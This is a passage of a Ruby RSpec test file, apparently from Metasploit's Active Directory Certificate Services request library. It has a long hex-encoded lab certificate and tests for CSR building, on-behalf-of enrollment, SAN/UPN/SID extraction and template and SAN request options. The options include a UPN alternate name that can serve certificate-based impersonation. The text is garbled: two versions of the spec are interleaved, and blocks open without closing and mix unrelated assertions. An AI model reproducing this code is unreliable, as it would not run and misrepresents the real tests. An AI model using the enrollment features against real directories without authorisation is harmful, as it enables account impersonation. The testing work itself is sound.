"\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \
"\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \
"\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \
"\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \
"\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \
"\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \
"\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \
"\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \
"\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \
"\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \
"\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \
"\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \
"\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \
"\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \
"\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \
"\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \
"\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \
"\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \
"\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \
"\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \
"\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \
"\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \
"\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \
"\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \
"\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \
"\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \
"\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \
"\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \
"\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \
"\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \
"\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \
"\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
"\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \
"\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \
"\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \
"\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \
"\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \
"\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \
"\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \
"\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \
"\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \
"\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \
"\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \
"\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
"\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \
"\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \
"\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \
"\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \
"\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \
"\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \
"\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \
"\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \
"\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \
"\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \
"\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \
"\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \
"\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \
"\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \
"\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \
"\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \
"\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \
"\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \
"\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \
"\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \
"\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \
"\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \
"\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \
"\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \
"\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \
"\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \
"\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \
"\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \
"\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \
"\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \
"\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \
"\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \
"\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \
"\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \
"\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \
"\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \
"\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \
"\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \
"\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \
"\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \
"\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \
"\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \
"\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \
"\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \
"\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \
"\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \
"\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \
"\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \
"\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \
"\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \
"\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \
"\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \
"\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \
"\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \
"\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \
"\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \
"\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \
"\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \
"\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \
"\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \
"\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \
"\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \
"\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \
"\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \
"\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \
"\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \
"\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \
"\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \
"\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \
"\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \
"\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \
"\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \
"\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6"
)
end
before(:each) do
allow(driver).to receive(:input).and_return(driver_input)
allow(driver).to receive(:output).and_return(driver_output)
subject.init_ui(driver_input, driver_output)
end
describe '#build_csr' do
let(:result) do
subject.send(:build_csr, **{
cn: 'aliddle',
private_key: pkcs12_key
})
end
context 'when building' do
it 'return a Request object' do
expect(result).to be_a(OpenSSL::X509::Request)
end
it 'should respond to #to_der' do
expect(result).to respond_to(:to_der)
end
it 'should be correct' do
expect(result.to_der).to eq(x509_csr.to_der)
# -------------------------------------------------------------------------
describe '.get_cert_san' do
context 'when the cert has no subjectAltName extension' do
it 'returns nil' do
cert = build_test_cert(rsa_key)
expect(described_class.get_cert_san(cert)).to be_nil
end
end
context 'when passed a bad algorithm' do
it 'raises a RuntimeError if the algorithm does not exist' do
expect {
subject.send(:build_csr, **{
cn: 'aliddle',
private_key: pkcs12_key,
algorithm: 'METASPLOIT'
})
}.to raise_error(RuntimeError)
context 'when the cert has a subjectAltName extension' do
it 'returns a SubjectAltName object' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
expect(described_class.get_cert_san(cert)).to be_a(Rex::Proto::CryptoAsn1::X509::SubjectAltName)
end
end
end
describe '#build_on_behalf_of' do
context 'when building' do
let(:result) do
subject.send(:build_on_behalf_of, **{
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key
# -------------------------------------------------------------------------
describe '.get_cert_san_dns' do
context 'when the cert has no subjectAltName' do
it 'returns an empty array' do
cert = build_test_cert(rsa_key)
expect(described_class.get_cert_san_dns(cert)).to eq([])
end
end
context 'when the cert has a single DNS SAN' do
it 'returns the DNS name' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
expect(described_class.get_cert_san_dns(cert)).to eq(['host.example.com'])
end
end
context 'when the cert has multiple DNS SANs' do
it 'returns all DNS names' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, DNS:other.example.com')])
expect(described_class.get_cert_san_dns(cert)).to contain_exactly('host.example.com', 'other.example.com')
end
end
context 'when the SAN contains a mix of DNS and non-DNS entries' do
it 'returns only the DNS names' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, email:alice@example.com')])
expect(described_class.get_cert_san_dns(cert)).to eq(['host.example.com'])
end
end
end
# -------------------------------------------------------------------------
describe '.get_cert_san_email' do
context 'when the cert has no subjectAltName' do
it 'returns an empty array' do
cert = build_test_cert(rsa_key)
expect(described_class.get_cert_san_email(cert)).to eq([])
end
end
context 'when the cert has an email SAN' do
it 'returns the email address' do
cert = build_test_cert(rsa_key, extensions: [san_extension('email:alice@example.com')])
expect(described_class.get_cert_san_email(cert)).to eq(['alice@example.com'])
end
end
context 'when the SAN contains a mix of email and non-email entries' do
it 'returns only email addresses' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, email:alice@example.com')])
expect(described_class.get_cert_san_email(cert)).to eq(['alice@example.com'])
end
end
end
# -------------------------------------------------------------------------
describe '.get_cert_san_uri' do
context 'when the cert has no subjectAltName' do
it 'returns an empty array' do
cert = build_test_cert(rsa_key)
expect(described_class.get_cert_san_uri(cert)).to eq([])
end
end
context 'when the cert has a URI SAN' do
it 'returns the URI' do
cert = build_test_cert(rsa_key, extensions: [san_extension('URI:http://example.com')])
expect(described_class.get_cert_san_uri(cert)).to eq(['http://example.com'])
end
end
context 'when the SAN contains a mix of URI and non-URI entries' do
it 'returns only URIs' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, URI:http://example.com')])
expect(described_class.get_cert_san_uri(cert)).to eq(['http://example.com'])
end
end
end
# -------------------------------------------------------------------------
describe '.get_cert_msext_upn' do
context 'when the cert has no subjectAltName' do
it 'returns an empty array' do
cert = build_test_cert(rsa_key)
expect(described_class.get_cert_msext_upn(cert)).to eq([])
end
end
context 'when the cert has a UPN otherName SAN' do
it 'returns the UPN value' do
config = "[alt_names]\notherName = 1.3.6.1.4.1.311.20.2.3;UTF8:alice@example.com"
cert = build_test_cert(rsa_key, extensions: [san_extension_from_config(config)])
expect(described_class.get_cert_msext_upn(cert)).to eq(['alice@example.com'])
end
end
context 'when the SAN has an otherName with a different OID (not UPN)' do
it 'returns an empty array' do
config = "[alt_names]\notherName = 1.3.6.1.4.1.311.20.2.99;UTF8:notaupn"
cert = build_test_cert(rsa_key, extensions: [san_extension_from_config(config)])
expect(described_class.get_cert_msext_upn(cert)).to eq([])
end
end
context 'when the SAN contains only a DNS entry' do
it 'returns an empty array' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
expect(described_class.get_cert_msext_upn(cert)).to eq([])
end
end
end
# -------------------------------------------------------------------------
describe '.get_cert_msext_sid' do
# Known DER encoding from spec/lib/rex/proto/crypto_asn1_spec.rb
# Contains SID "S-1-5-21-3402587289-1488798532-3618296993-1105"
let(:ntds_ext_der) do
"\x30\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30" \
"\x04\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38" \
"\x37\x32\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33" \
"\x36\x31\x38\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x35"
end
context 'when the cert has no NTDS CA security extension' do
it 'returns nil' do
cert = build_test_cert(rsa_key)
expect(described_class.get_cert_msext_sid(cert)).to be_nil
end
end
context 'when the cert has the NTDS CA security extension' do
it 'returns the SID string' do
ntds_ext = OpenSSL::X509::Extension.new(described_class::OID_NTDS_CA_SECURITY_EXT, ntds_ext_der, false)
cert = build_test_cert(rsa_key, extensions: [ntds_ext])
expect(described_class.get_cert_msext_sid(cert)).to eq('S-1-5-21-3402587289-1488798532-3618296993-1105')
end
end
context 'when a different extension has the same OID but wrong inner type_id' do
it 'returns nil' do
# Build a NtdsCaSecurityExt with wrong inner OID so the type_id check fails
bogus_ext_der = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
type_id: '1.2.3.4.5',
value: 'S-1-5-21-0-0-0-0'
}).to_der
ntds_ext = OpenSSL::X509::Extension.new(described_class::OID_NTDS_CA_SECURITY_EXT, bogus_ext_der, false)
cert = build_test_cert(rsa_key, extensions: [ntds_ext])
expect(described_class.get_cert_msext_sid(cert)).to be_nil
end
end
end
# -------------------------------------------------------------------------
describe '.get_cert_policy_oids' do
let(:eku_extension) do
stub = OpenSSL::X509::Certificate.new
factory = OpenSSL::X509::ExtensionFactory.new
factory.subject_certificate = stub
factory.issuer_certificate = stub
factory.create_extension('extendedKeyUsage', 'clientAuth', false)
end
let(:multi_eku_extension) do
stub = OpenSSL::X509::Certificate.new
factory = OpenSSL::X509::ExtensionFactory.new
factory.subject_certificate = stub
factory.issuer_certificate = stub
factory.create_extension('extendedKeyUsage', 'clientAuth, emailProtection', false)
end
context 'when the cert has no policy extensions' do
it 'returns an empty array' do
cert = build_test_cert(rsa_key)
expect(described_class.get_cert_policy_oids(cert)).to eq([])
end
end
context 'when the cert has extendedKeyUsage with clientAuth' do
it 'includes the clientAuth OID' do
cert = build_test_cert(rsa_key, extensions: [eku_extension])
oids = described_class.get_cert_policy_oids(cert)
# OpenSSL returns the short name ('clientAuth') when parsing EKU DER
expect(oids.map(&:value)).to include('clientAuth')
end
end
context 'when the cert has multiple EKU OIDs' do
it 'returns all OIDs' do
cert = build_test_cert(rsa_key, extensions: [multi_eku_extension])
oid_values = described_class.get_cert_policy_oids(cert).map(&:value)
# OpenSSL returns short names when parsing EKU DER
expect(oid_values).to include('clientAuth')
expect(oid_values).to include('emailProtection')
end
end
context 'when the cert has a SAN extension but no policy extensions' do
it 'returns an empty array' do
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
expect(described_class.get_cert_policy_oids(cert)).to eq([])
end
end
end
# -------------------------------------------------------------------------
describe '#do_request_cert' do
let(:icpr) { double('icpr') }
let(:csr_double) { double('csr', to_der: 'der') }
before do
allow(subject).to receive(:create_csr).and_return(csr_double)
allow(icpr).to receive(:cert_server_request).and_return({ status: :issued })
end
context 'username resolution' do
it 'uses opts[:username] when provided' do
expect(subject).to receive(:create_csr).with(hash_including(username: 'alice'))
subject.send(:do_request_cert, icpr, { username: 'alice' })
end
it 'falls back to datastore SMBUser when opts has no username' do
subject.datastore['SMBUser'] = 'bob'
expect(subject).to receive(:create_csr).with(hash_including(username: 'bob'))
subject.send(:do_request_cert, icpr, {})
end
end
context 'RSA key generation' do
it 'generates a 2048-bit key by default' do
expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_return(rsa_key)
subject.send(:do_request_cert, icpr, { username: 'alice' })
end
it 'uses the RSAKeySize from the datastore' do
subject.datastore['RSAKeySize'] = '4096'
allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096))
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key)
subject.send(:do_request_cert, icpr, { username: 'alice' })
end
it 'uses a private key supplied in opts without generating one' do
rsa_key # force let evaluation before stubbing
expect(OpenSSL::PKey::RSA).not_to receive(:new)
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key })
end
it 'passes the key to create_csr via opts' do
allow(OpenSSL::PKey::RSA).to receive(:new).and_return(rsa_key)
expect(subject).to receive(:create_csr).with(hash_including(private_key: rsa_key))
subject.send(:do_request_cert, icpr, { username: 'alice' })
end
end
context 'key size mismatch' do
let(:wrong_size_key) { OpenSSL::PKey::RSA.new(1024) }
it 'raises ArgumentError' do
expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError, /RSA key size mismatch/)
end
it 'logs an RSA key size mismatch error' do
expect(subject).to receive(:elog).with('RSA key size mismatch')
expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError)
end
it 'does not call create_csr' do
expect(subject).not_to receive(:create_csr)
expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError)
end
end
context 'certificate template' do
it 'uses cert_template from opts' do
expect(icpr).to receive(:cert_server_request).with(hash_including(
attributes: hash_including('CertificateTemplate' => 'AdminTemplate')
))
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, cert_template: 'AdminTemplate' })
end
it 'falls back to datastore CERT_TEMPLATE' do
subject.datastore['CERT_TEMPLATE'] = 'UserTemplate'
expect(icpr).to receive(:cert_server_request).with(hash_including(
attributes: hash_including('CertificateTemplate' => 'UserTemplate')
))
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key })
end
end
context 'SAN attributes' do
it 'includes dns SAN when alt_dns is in opts' do
expect(icpr).to receive(:cert_server_request).with(hash_including(
attributes: hash_including('SAN' => 'dns=host.example.com')
))
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, alt_dns: 'host.example.com' })
end
it 'includes upn SAN when alt_upn is in opts' do
expect(icpr).to receive(:cert_server_request).with(hash_including(
attributes: hash_including('SAN' => 'upn=alice@example.com')
))
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, alt_upn: 'alice@example.com' })
end
it 'includes both dns and upn SANs when both are set' do
expect(icpr).to receive(:cert_server_request) do |args|
san = args[:attributes]['SAN']
expect(san).to include('dns=host.example.com')
expect(san).to include('upn=alice@example.com')
{ status: :issued }
end
subject.send(:do_request_cert, icpr, {
username: 'alice', private_key: rsa_key,
alt_dns: 'host.example.com', alt_upn: 'alice@example.com'
})
end
it 'return a ContentInfo object' do
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
it 'omits SAN attribute entirely when no alt values are set' do
expect(icpr).to receive(:cert_server_request) do |args|
expect(args[:attributes]).not_to have_key('SAN')
{ status: :issued }
end
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key })
end
end
end
# -------------------------------------------------------------------------
describe '#request_certificate' do
let(:tree) { double('RubySMB::SMB2::Tree') }
let(:icpr) { double('icpr') }
before do
allow(subject).to receive(:connect_ipc).and_return(tree)
allow(subject).to receive(:connect_icpr).with(tree).and_return(icpr)
allow(subject).to receive(:do_request_cert)
end
it 'calls connect_ipc when no tree is given' do
expect(subject).to receive(:connect_ipc).and_return(tree)
subject.request_certificate
end
it 'uses the tree from opts and skips connect_ipc' do
expect(subject).not_to receive(:connect_ipc)
subject.request_certificate(tree: tree)
end
context 'when connect_icpr raises UnexpectedStatusCode with STATUS_OBJECT_NAME_NOT_FOUND' do
before do
status_code = ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
allow(subject).to receive(:connect_icpr).and_raise(
RubySMB::Error::UnexpectedStatusCode.new(status_code)
)
end
it 'should respond to #to_der' do
expect(result).to respond_to(:to_der)
it 'raises MsIcprNotFoundError' do
expect { subject.request_certificate }.to raise_error(described_class::MsIcprNotFoundError)
end
it 'should be correct' do
expect(result.to_der).to eq(content_info.to_der)
it 'includes a descriptive message' do
expect { subject.request_certificate }.to raise_error(described_class::MsIcprNotFoundError, /AD CS was not found/i)
end
end
context 'when passed a bad algorithm' do
it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do
expect {
subject.send(:build_on_behalf_of, **{
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'MD4'
})
}.to raise_error(ArgumentError)
context 'when connect_icpr raises UnexpectedStatusCode with a different status' do
before do
allow(subject).to receive(:connect_icpr).and_raise(
RubySMB::Error::UnexpectedStatusCode.new(::WindowsError::NTStatus::STATUS_ACCESS_DENIED)
)
end
it 'raises a RuntimeError if the algorithm does not exist' do
expect {
subject.send(:build_on_behalf_of, **{
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'METASPLOIT'
})
}.to raise_error(RuntimeError)
it 'raises MsIcprUnexpectedReplyError' do
expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError)
end
it 'includes the status name in the message' do
expect { subject.request_certificate }.to raise_error(
described_class::MsIcprUnexpectedReplyError, /STATUS_ACCESS_DENIED/
)
end
end
context 'when do_request_cert raises a FaultError' do
before do
allow(subject).to receive(:do_request_cert).and_raise(
RubySMB::Dcerpc::Error::FaultError.new('fault error', status: 5)
)
end
it 'raises MsIcprUnexpectedReplyError' do
expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError)
end
it 'includes DCERPC fault in the message' do
expect { subject.request_certificate }.to raise_error(
